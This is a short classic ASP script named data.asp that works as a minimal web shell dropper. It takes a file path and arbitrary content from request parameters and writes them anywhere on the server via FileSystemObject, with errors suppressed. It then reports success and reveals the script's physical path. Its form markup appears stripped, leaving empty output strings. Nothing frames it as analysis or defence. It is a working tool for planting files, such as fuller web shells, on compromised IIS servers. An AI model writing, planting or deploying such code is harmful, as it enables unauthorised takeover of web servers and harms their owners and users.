data.asp

<%on error resume next%> <%ofso="scripting.filesystemobject"%> <%set fso=server.createobject(ofso)%> <%path=request("path")%> <%if path<>"" then%> <%data=request("dama")%> <%set dama=fso.createtextfile(path,true)%> <%dama.write data%> <%if err=0 then%> <%="success"%> <%else%> <%="false"%> <%end if%> <%err.clear%> <%end if%> <%dama.close%> <%set dama=nothing%> <%set fos=nothing%> <%="

"%> <%=""%> <%="
"%> <%=server.mappath(request.servervariables("script_name"))%> <%="
"%> <%=""%> <%=""%> <%="
"%> <%=""%> <%="

"%>